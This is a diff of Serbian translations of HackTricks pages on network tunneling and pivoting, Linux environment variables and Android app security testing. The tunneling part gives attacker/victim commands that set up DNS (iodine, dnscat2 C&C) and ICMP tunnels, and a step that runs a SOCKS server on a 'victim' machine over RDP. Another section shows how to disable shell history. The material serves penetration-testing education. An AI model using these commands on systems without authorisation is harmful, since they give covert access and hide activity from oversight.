@ -306,7 +308,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
### Port2Port
Morate biti lokalni administrator (za bilo koji port)
Morate imati lokalne administratorske privilegije (za bilo koji port)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
@ -318,10 +320,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
Potrebno je da imate **RDP pristup preko sistema**.\
Potrebno je da imate **RDP pristup sistemu**.\
Preuzmite:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Ovaj alat koristi `Dynamic Virtual Channels` (`DVC`) funkciju Windows Remote Desktop Service-a. DVC je odgovoran za **tuneliranje paketa preko RDP veze**.
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Ovaj alat koristi `Dynamic Virtual Channels` (`DVC`) funkciju Remote Desktop Service opcije Windows-a. DVC je odgovoran za **tuneliranje paketa preko RDP veze**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
Na vašem klijentskom računaru učitajte **`SocksOverRDP-Plugin.dll`** na sledeći način:
@ -329,9 +331,9 @@ Na vašem klijentskom računaru učitajte **`SocksOverRDP-Plugin.dll`** na slede
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Sada možemo **povezati** se sa **žrtvom** preko **RDP** koristeći **`mstsc.exe`**, i trebali bismo dobiti **prozor** koji kaže da je **SocksOverRDP dodatak omogućen**, i da će **slušati** na **127.0.0.1:1080**.
Sada možemo **povezati** se sa **žrtvom** preko **RDP** koristeći **`mstsc.exe`**, i trebali bismo dobiti **prozor za unos** koji kaže da je **SocksOverRDP dodatak omogućen**, i da će **slušati** na **127.0.0.1:1080**.
**Povežite** se preko **RDP** i otpremite i izvršite na mašini žrtve binarni fajl `SocksOverRDP-Server.exe`:
**Povežite** se preko **RDP** i otpremite & izvršite na mašini žrtve `SocksOverRDP-Server.exe` binarni fajl:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
@ -341,13 +343,13 @@ netstat -antb | findstr 1080
```
Sada možete koristiti [**Proxifier**](https://www.proxifier.com/) **da biste usmjerili saobraćaj kroz taj port.**
## Proksifikuj Windows GUI aplikacije
## Proxify Windows GUI aplikacije
Možete omogućiti Windows GUI aplikacijama da koriste proxy pomoću [**Proxifier**](https://www.proxifier.com/).\
Možete omogućiti Windows GUI aplikacijama da prolaze kroz proxy korišćenjem [**Proxifier**](https://www.proxifier.com/).\
U **Profile -> Proxy Servers** dodajte IP adresu i port SOCKS servera.\
U **Profile -> Proxification Rules** dodajte ime programa za proksifikaciju i veze ka IP adresama koje želite da proksifikujete.
U **Profile -> Proxification Rules** dodajte ime programa za proxify i veze ka IP adresama koje želite da proxify-ujete.
## NTLM zaobilaženje proxy-ja
## NTLM proxy zaobilaženje
Prethodno pomenuti alat: **Rpivot**\
**OpenVPN** takođe može da ga zaobiđe, podešavanjem ovih opcija u konfiguracionom fajlu:
@ -358,7 +360,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Autentifikuje se prema proksi serveru i vezuje lokalni port koji se prosleđuje ka spoljnoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru preko ovog porta.\
Autentiče se protiv proksi servera i vezuje lokalni port koji se prosleđuje ka spoljnoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru preko ovog porta.\
Na primer, prosleđuje port 443
```
Username Alice
@ -380,7 +382,7 @@ Obrnuti proxy kreiran od strane Microsoft-a. Možete ga pronaći ovde: [https://
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Potreban je root na oba sistema da bi se kreirali tun adapteri i tunelovali podaci između njih korišćenjem DNS upita.
Potreban je root na oba sistema kako bi se kreirali tun adapteri i tunelovali podaci između njih korišćenjem DNS upita.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
@ -394,7 +396,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
[**Preuzmite ga ovde**](https://github.com/iagox86/dnscat2)**.**
Uspostavlja C\&C kanal preko DNS-a. Ne zahteva privilegije root-a.
Uspostavlja C\&C kanal putem DNS-a. Ne zahteva privilegije root korisnika.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
@ -415,22 +417,22 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### Promena DNS-a proxychains
#### Promena proxychains DNS
Proxychains presreće `gethostbyname` libc poziv i tuneliše tcp DNS zahtev kroz socks proxy. Podrazumevano, DNS server koji proxychains koristi je 4.2.2.2 (hardkodiran). Da biste ga promenili, izmenite fajl: _/usr/lib/proxychains3/proxyresolv_ i promenite IP adresu. Ako se nalazite u Windows okruženju, možete postaviti IP adresu kontrolera domena.
## Tuneli u Go programskom jeziku
## Tuneli u Go-u
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
## ICMP tunelisanje
## ICMP Tunelovanje
### Hans
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Potreban je root pristup na oba sistema kako bi se kreirali tun adapteri i tunelovali podaci između njih koristeći ICMP echo zahteve.
Potreban je root na oba sistema kako bi se kreirali tun adapteri i tunelovali podaci između njih koristeći ICMP echo zahteve.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -473,7 +475,7 @@ chmod a+x ./ngrok
*Takođe je moguće dodati autentikaciju i TLS, ako je potrebno.*
#### Tunelovanje TCP
#### Tuneliranje TCP
```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
@ -486,10 +488,10 @@ chmod a+x ./ngrok
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### Sniffing HTTP poziva
#### Sniffing HTTP pozivi
*Korisno za XSS, SSRF, SSTI ...*
Direktno sa standardnog izlaza ili preko HTTP interfejsa [http://127.0.0.1:4040](http://127.0.0.1:4000).
Direktno sa stdout-a ili na HTTP interfejsu [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Tuneliranje internih HTTP servisa
```bash
@ -522,7 +524,7 @@ addr: file:///tmp/httpbin/
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -33,7 +33,7 @@ echo $MYGLOBAL #Prints: hello world
```
Ova promenljiva će biti dostupna vašim trenutnim sesijama i njihovim podprocesima.
Možete **ukloniti** promenljivu koristi:
Možete **ukloniti** promenljivu tako što ćete uraditi:
```bash
unset MYGLOBAL
```
@ -46,10 +46,6 @@ echo $LOCAL
unset LOCAL
```
## Lista trenutnih promenljivih
```bash
printenv
```
```bash
set
env
@ -72,7 +68,7 @@ Sa: [https://geek-university.com/linux/common-environment-variables/](https://ge
* **MANPATH** lista direktorijuma za pretragu stranica priručnika.
* **OSTYPE** tip operativnog sistema.
* **PS1** podrazumevani znak za unos u bash-u.
* **PATH** čuva putanje svih direktorijuma koji sadrže binarne datoteke koje želite izvršiti samo navođenjem imena datoteke, a ne relativne ili apsolutne putanje.
* **PATH** čuva putanje svih direktorijuma koji sadrže binarne datoteke koje želite da izvršite samo navođenjem imena datoteke, a ne relativnom ili apsolutnom putanjom.
* **PWD** trenutni radni direktorijum.
* **SHELL** putanja do trenutne komandne ljuske (na primer, **/bin/bash**).
* **TERM** trenutni tip terminala (na primer, **xterm**).
@ -89,13 +85,13 @@ export HISTFILESIZE=0
```
### **HISTSIZE**
Promenite **vrednost ove promenljive na 0**, tako da kada **završite sesiju**, nijedna komanda neće biti dodata u **istoriju fajla** (\~/.bash\_history).
Promenite **vrednost ove promenljive na 0**, tako da kada **završite sesiju**, nijedna komanda neće biti dodata u **datoteku istorije** (\~/.bash\_history).
```bash
export HISTSIZE=0
```
### http\_proxy & https\_proxy
Procesi će koristiti **proxy** koji je ovde naveden da bi se povezali na internet putem **http ili https**.
Procesi će koristiti **proxy** koji je ovde deklarisan da bi se povezali na internet preko **http ili https**.
```bash
export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080"
@ -125,13 +121,13 @@ Jedan, dva i tri pozadinski poslovi:
![](<../.gitbook/assets/image (89).png>)
Jedan pozadinski posao, jedan zaustavljen i poslednja komanda nije završena ispravno:
Jedan pozadinski posao, jedan zaustavljen i poslednja komanda nije završila ispravno:
![](<../.gitbook/assets/image (90).png>)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -144,7 +140,7 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite vašu **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -31,7 +31,7 @@ Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažu
## Osnove Android aplikacija
Visoko se preporučuje da počnete čitati ovu stranicu kako biste saznali o **najvažnijim delovima vezanim za bezbednost Androida i najopasnijim komponentama u Android aplikaciji**:
Visoko se preporučuje da počnete čitanje ove stranice kako biste saznali o **najvažnijim delovima vezanim za bezbednost Androida i najopasnijim komponentama u Android aplikaciji**:
{% content-ref url="android-applications-basics.md" %}
[android-applications-basics.md](android-applications-basics.md)
@ -42,18 +42,18 @@ Visoko se preporučuje da počnete čitati ovu stranicu kako biste saznali o **n
Ovo je glavni alat koji vam je potreban da se povežete sa Android uređajem (emuliranim ili fizičkim).\
**ADB** omogućava kontrolu uređaja preko **USB-a** ili **Mreže** sa računara. Ova alatka omogućava **kopiranje** fajlova u oba smera, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **bekapovanje** podataka, **čitanje** logova, među ostalim funkcijama.
Pogledajte sledeću listu [**ADB komandi**](adb-commands.md) da biste naučili kako koristiti adb.
Pogledajte sledeću listu [**ADB komandi**](adb-commands.md) kako biste naučili kako koristiti adb.
## Smali
Ponekad je interesantno **modifikovati kod aplikacije** kako biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavama). Zatim, može biti korisno dekompilirati apk, modifikovati kod i rekompilirati ga.\
[**U ovom tutorijalu** možete **naučiti kako da dekompilirate APK, modifikujete Smali kod i rekompilirate APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Zatim, **uvek imajte na umu ovu mogućnost**.
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i rekompilirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Zatim, **uvek imajte na umu ovu mogućnost**.
## Druge interesantne trikove
* [Lažiranje lokacije u Play prodavnici](spoofing-your-location-in-play-store.md)
* **Preuzimanje APK-ova**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
* Izdvajanje APK sa uređaja:
* Izdvajanje APK-a sa uređaja:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -66,7 +66,7 @@ adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
## Statistička analiza
Prvo, za analizu APK datoteke trebalo bi **pogledati Java kod** koristeći dekompajler.\
Molimo, [**pročitajte ovde da biste pronašli informacije o različitim dostupnim dekompajlerima**](apk-decompilers.md).
Molimo, [**pročitajte ovde informacije o različitim dostupnim dekompajlerima**](apk-decompilers.md).
### Traženje zanimljivih informacija
@ -82,10 +82,10 @@ Posvetite posebnu pažnju **Firebase URL-ovima** i proverite da li je loše konf
**Ranjivosti** identifikovane iz **Manifest.xml** uključuju:
* **Aplikacije u Debug režimu**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ fajlu predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalje razumevanje kako eksploatisati aplikacije u Debug režimu, pogledajte tutorijal o pronalaženju i eksploataciji aplikacija u Debug režimu na uređaju.
* **Podešavanja za Bekapovanje**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečilo neovlašćeno bekapovanje podataka putem adb, posebno kada je omogućeno USB debugovanje.
* **Mrežna sigurnost**: Prilagođena podešavanja mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati detalje sigurnosti poput sertifikata i podešavanja HTTP saobraćaja. Primer je dozvola HTTP saobraćaja za određene domene.
* **Izložene Aktivnosti i Servisi**: Identifikacija izloženih aktivnosti i servisa u manifestu može ukazati na komponente koje mogu biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako eksploatisati ove komponente.
* **Aplikacije sa omogućenim debug modom**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ fajlu predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalje razumevanje kako eksploatisati aplikacije sa omogućenim debug modom, pogledajte tutorijal o pronalaženju i eksploataciji aplikacija sa omogućenim debug modom na uređaju.
* **Podešavanja rezervne kopije**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečile neovlašćene rezervne kopije podataka putem adb-a, posebno kada je omogućeno USB debugovanje.
* **Mrežna sigurnost**: Prilagođena podešavanja mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje poput pinova sertifikata i podešavanja HTTP saobraćaja. Primer je dozvola HTTP saobraćaja za određene domene.
* **Izložene aktivnosti i servisi**: Identifikacija izloženih aktivnosti i servisa u manifestu može ukazati na komponente koje mogu biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako eksploatisati ove komponente.
* **Provajderi sadržaja i FileProvideri**: Izloženi provajderi sadržaja mogu dozvoliti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProvidera takođe treba biti pažljivo pregledana.
* **Broadcast prijemnici i URL šeme**: Ove komponente mogu biti iskorišćene za eksploataciju, sa posebnom pažnjom na to kako se upravljaju URL šeme radi ranjivosti unosa.
* **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane verzije Androida, ističući važnost ne podržavanja zastarelih, ranjivih verzija Androida iz sigurnosnih razloga.
@ -95,7 +95,7 @@ Iz **strings.xml** fajla, osetljive informacije poput API ključeva, prilagođen
### Tapjacking
**Tapjacking** je napad gde se **zlonamerna aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo prekrije aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje sa njom, dok zapravo prenosi interakciju aplikaciji žrtve.\
Na taj način, **korisnik nije svestan da zapravo obavlja radnje na aplikaciji žrtve**.
Na taj način, **korisnik je zaslepljen i ne zna da zapravo obavlja radnje na aplikaciji žrtve**.
Pronađite više informacija u:
@ -122,18 +122,18 @@ U Androidu, fajlovi **skladišteni** u **internom** skladištu su **dizajnirani*
1. **Statistička analiza:**
* **Proverite** da li se upotreba `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo razmatra**. Ovi režimi **mogu potencijalno izložiti** fajlove **neželjenom ili neovlašćenom pristupu**.
2. **Dinamička analiza:**
* **Proverite** dozvole postavljene na fajlove koje je kreirala aplikacija. Konkretno, **proverite** da li su neki fajlovi **postavljeni da budu čitljivi ili upisivi globalno**. Ovo može predstavljati značajan sigurnosni rizik, jer bi dozvolilo **bilo kojoj aplikaciji** instaliranoj na uređaju, bez obzira na poreklo ili nameru, da **čita ili modifikuje** ove fajlove.
* **Proverite** dozvole postavljene na fajlove kreirane od strane aplikacije. Konkretno, **proverite** da li su neki fajlovi **postavljeni da budu čitljivi ili upisivi globalno**. Ovo može predstavljati značajan sigurnosni rizik, jer bi dozvolilo **svakoj aplikaciji** instaliranoj na uređaju, bez obzira na poreklo ili nameru, da **čita ili modifikuje** ove fajlove.
**Spoljno skladištenje**
Kada se radi sa fajlovima na **spoljnom skladištu**, poput SD kartica, treba preduzeti određene mere opreza:
Prilikom rukovanja fajlovima na **spoljnom skladištu**, poput SD kartica, treba preduzeti određene mere opreza:
1. **Pristupačnost**:
* Fajlovi na spoljnom skladištu su **globalno čitljivi i upisivi**. To znači da bilo koja aplikacija ili korisnik može pristupiti ovim fajlovima.
* Fajlovi na spoljnom skladištu su **globalno čitljivi i upisivi**. To znači da svaka aplikacija ili korisnik može pristupiti ovim fajlovima.
2. **Sigurnosne zabrinutosti**:
* S obzirom na laku dostupnost, savetuje se **ne skladištiti osetljive informacije** na spoljnom skladištu.
* Spoljno skladište može biti uklonjeno ili pristupljeno od strane bilo koje aplikacije, čineći ga manje sigurnim.
3. **Obrada podataka sa spoljnog skladišta**:
3. **Rukovanje podacima sa spoljnog skladišta**:
* Uvek **vršite validaciju unosa** podataka dobijenih sa spoljnog skladišta. Ovo je ključno jer podaci potiču od nepoverljivog izvora.
* Skladištenje izvršnih ili klasnih fajlova na spoljnom skladištu radi dinamičkog učitavanja se snažno ne preporučuje.
* Ako vaša aplikacija mora da preuzme izvršne fajlove sa spoljnog skladišta, obezbedite da su ovi fajlovi **potpisani i kriptografski verifikovani** pre nego što budu dinamički učitani. Ovaj korak je od vitalnog značaja za održavanje sigurnosne celovitosti vaše aplikacije.
@ -141,40 +141,40 @@ Kada se radi sa fajlovima na **spoljnom skladištu**, poput SD kartica, treba pr
Spoljno skladište se može **pristupiti** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
{% hint style="info" %}
Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikacije direktorijumu koji je specifičan samo za tu aplikaciju**. Ovo sprečava zlonamerne aplikacije da dobiju pristup čitanju ili pisanju drugih fajlova aplikacije.
Počevši od Androida 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikacije direktorijumu koji je specifičan samo za tu aplikaciju**. Ovo sprečava zlonamerne aplikacije da dobiju pristup čitanju ili pisanju fajlova druge aplikacije.
{% endhint %}
**Osetljivi podaci skladišteni u čistom tekstu**
* **Deljeni podaci**: Android omogućava svakoj aplikaciji da lako sačuva XML fajlove na putanji `/data/data/<imepaketa>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u tom folderu.
* **Deljeni preferencijali**: Android omogućava svakoj aplikaciji da lako sačuva XML fajlove na putanji `/data/data/<imepaketa>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u tom folderu.
* **Baze podataka**: Android omogućava svakoj aplikaciji da lako sačuva SQLite baze podataka na putanji `/data/data/<imepaketa>/databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u tom folderu.
### Slomljen TLS
**Prihvatanje svih sertifikata**
Iz nekog razloga, ponekad developeri prihvataju sve sertifikate čak i ako na primer ime hosta ne odgovara sa linijama koda kao što je sledeća:
Iz nekog razloga, ponekad developeri prihvataju sve sertifikate čak i ako na primer ime hosta ne odgovara sa linijama koda poput sledeće:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
### Slom kriptografije
### Oštećena Kriptografija
**Loši procesi upravljanja ključevima**
**Slabi procesi upravljanja ključevima**
Neki programeri čuvaju osetljive podatke u lokalnom skladištu i šifriraju ih ključem koji je unapred definisan/predvidljiv u kodu. Ovo ne bi trebalo raditi jer neko ko vrši reverzni inženjering može izvući poverljive informacije.
**Korišćenje nesigurnih i/ili zastarelih algoritama**
Programeri ne bi trebalo da koriste **zastarele algoritme** za izvođenje **provere autorizacije**, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se koriste **heševi** za čuvanje lozinki na primer, trebalo bi koristiti heševe otporne na **bruteforce napade** sa solju.
Programeri ne bi trebalo da koriste **zastarele algoritme** za izvođenje **provere autorizacije**, **skladištenje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se koriste **heševi** za skladištenje lozinki na primer, trebalo bi koristiti heševe otporne na **brute-force** sa solju.
### Ostale provere
* Preporučuje se **obfuskacija APK datoteke** kako bi se otežao rad osobama koje vrše reverzni inženjering.
* Preporučuje se **obfuskacija APK-a** kako bi se otežao rad osobama koje vrše reverzni inženjering.
* Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebalo bi da vrši **svoje provere da vidi da li je mobilni uređaj rutovan** i da postupi u skladu sa tim.
* Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebalo bi proveriti da li se koristi **emulator**.
* Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebalo bi **proveriti svoju celovitost pre izvršavanja** kako bi se proverilo da li je bila izmenjena.
* Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izgradnju APK datoteke.
* Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebalo bi **proveriti svoju celovitost pre izvršavanja** kako bi se proverilo da li je izmenjena.
* Koristite [**APKiD**](https://github.com/rednaga/APKiD) da biste proverili koji je kompajler/paker/obfuskator korišćen za izgradnju APK-a.
### Aplikacija napravljena u React Native-u
@ -194,17 +194,17 @@ Pročitajte sledeću stranicu da biste saznali kako lako pristupiti C# kodu Xama
### Aplikacije sa superpakovanjem
Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpakovanje je Meta algoritam koji komprimuje sadržaj aplikacije u jednu datoteku. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve vrste aplikacija... i bržem načinu koji uključuje **izvršavanje aplikacije i prikupljanje dekompresovanih datoteka iz fajl sistema.**
Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpakovanje je Meta algoritam koji komprimuje sadržaj aplikacije u jedan fajl. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve vrste aplikacija... i bržem načinu koji uključuje **izvršavanje aplikacije i prikupljanje dekompresovanih fajlova iz fajl sistema.**
### Automatizovana statička analiza koda
Alatka [**mariana-trench**](https://github.com/facebook/mariana-trench) je sposobna da pronađe **ranjivosti** skeniranjem **koda** aplikacije. Ovaj alat sadrži niz **poznatih izvora** (koji pokazuju alatki **mesta** gde je **unos kontrolisan od strane korisnika**), **sinks** (koji pokazuju alatki **opasna mesta** gde zlonamerni korisnički unos može prouzrokovati štetu) i **pravila**. Ova pravila pokazuju **kombinaciju** **izvora-sinks** koji ukazuju na ranjivost.
Alatka [**mariana-trench**](https://github.com/facebook/mariana-trench) je sposobna da pronađe **ranjivosti** skeniranjem **koda** aplikacije. Ovaj alat sadrži niz **poznatih izvora** (koji pokazuju alatu **mesta** gde je **unos kontrolisan od strane korisnika**), **sinks** (koji pokazuju alatu **opasna mesta** gde zlonamerni korisnički unos može prouzrokovati štetu) i **pravila**. Ova pravila pokazuju **kombinaciju** **izvora-sinks** koji ukazuju na ranjivost.
Sa ovim znanjem, **mariana-trench će pregledati kod i pronaći moguće ranjivosti u njemu**.
### Procureli tajni podaci
Aplikacija može sadržati tajne podatke (API ključeve, lozinke, skrivene URL-ove, poddomene...) unutar sebe koje možete otkriti. Možete koristiti alatku poput [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
Aplikacija može sadržati tajne podatke (API ključeve, lozinke, skrivene URL-ove, poddomene...) unutar sebe koje možete otkriti. Možete koristiti alat poput [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Zaobilaženje biometrijske autentifikacije
@ -217,7 +217,7 @@ Aplikacija može sadržati tajne podatke (API ključeve, lozinke, skrivene URL-o
* **Izvršavanje koda**: `Runtime.exec(), ProcessBuilder(), native code:system()`
* **Slanje SMS poruka**: `sendTextMessage, sendMultipartTestMessage`
* **Nativne funkcije** deklarisane kao `native`: `public native, System.loadLibrary, System.load`
* [Pročitajte ovo da biste saznali **kako da reverzujete nativne funkcije**](reversing-native-libraries.md)
* [Pročitajte ovo da biste saznali **kako da reverzujete native funkcije**](reversing-native-libraries.md)
### **Druge trikove**
@ -238,7 +238,7 @@ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovije najave**\
Budite informisani o najnovijim programima nagrađivanja za pronalaženje bagova i važnim ažuriranjima platforme
Budite informisani o najnovijim programima nagrađivanja za pronalaženje bagova i važnim ažuriranjima platformi
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
@ -246,11 +246,11 @@ Budite informisani o najnovijim programima nagrađivanja za pronalaženje bagova
## Dinamička analiza
> Prvo, potrebno je okruženje gde možete instalirati aplikaciju i sve potrebne alatke (Burp CA sertifikat, Drozer i Frida pre svega). Stoga, preporučuje se korenovan uređaj (emuliran ili ne).
> Prvo, potrebno je okruženje gde možete instalirati aplikaciju i sve potrebne alate (Burp CA sertifikat, Drozer i Frida pre svega). Stoga, preporučuje se korenovan uređaj (emuliran ili ne).
### Online dinamička analiza
Možete kreirati **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **učitate** i **izvršite** APK datoteke, pa je korisno videti kako se APK ponaša.
Možete kreirati **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **učitate** i **izvršite** APK-ove, pa je korisna za praćenje ponašanja APK-a.
Čak možete **videti dnevnike vaše aplikacije** na vebu i povezati se putem **adb**.
@ -280,10 +280,10 @@ Da biste **instalirali Google usluge** (kao što je AppStore) u Genymotionu, tre
![](<../../.gitbook/assets/image (200) (1).png>)
Takođe, obratite pažnju da u **konfiguraciji Android VM u Genymotionu** možete odabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati sa Android VM iz drugog VM-a sa alatkama).
